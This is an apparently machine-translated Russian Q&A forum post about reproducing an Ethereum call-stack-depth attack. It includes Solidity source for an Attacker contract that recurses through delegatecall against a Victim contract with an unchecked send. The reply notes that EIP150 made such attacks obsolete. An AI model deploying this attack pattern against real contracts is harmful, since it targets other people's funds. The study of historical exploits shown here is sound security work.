Есть ли способ воспроизвести атаку глубины стека?

Я пытаюсь воспроизвести атаку, которую я нашел здесь: Воспроизведение атаки глубины стека

contract Attacker {
Victim public victimContract;
uint x;

function Attacker(){
    victimContract = (new Victim).value(10 wei)();
}

function attack(uint y) {
    if (y > x) {
        this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
    }
    else {
        victimContract.donate.value(1)(this, 1);
    }


  }
}

contract Victim {
    mapping(address => uint) karma;
    function donate(address someAddress, uint amount){
        if(msg.value == amount) {
            someAddress.send(amount);
            karma[msg.sender] += amount;
        }            
    }
}

Я пробовал с компилятором прочности Remix 0.3.4, но не могу получить контракт на выполнение в настоящее время из-за предельного уровня газа в 3 000 000, который транзакция превышает.

Мне интересно увидеть его выполнение на EVM, так как я хочу визуализировать его. Кто-нибудь знает хэши транзакций о любых успешных атаках глубины стека?

6 голосов | спросил Gawnie 2 PM00000050000000631 2017, 17:24:06

1 ответ


2

Атаки глубины вызова теперь непрактичны (см. EIP114 и EIP150 ). Поэтому их можно было воспроизвести только в старых версиях EVM.

ответил Gleb Zykov 10 52017vEurope/Moscow11bEurope/MoscowFri, 10 Nov 2017 16:11:19 +0300 2017, 16:11:19

Похожие вопросы

Популярные теги

security × 330linux × 316macos × 2827 × 268performance × 244command-line × 241sql-server × 235joomla-3.x × 222java × 189c++ × 186windows × 180cisco × 168bash × 158c# × 142gmail × 139arduino-uno × 139javascript × 134ssh × 133seo × 132mysql × 132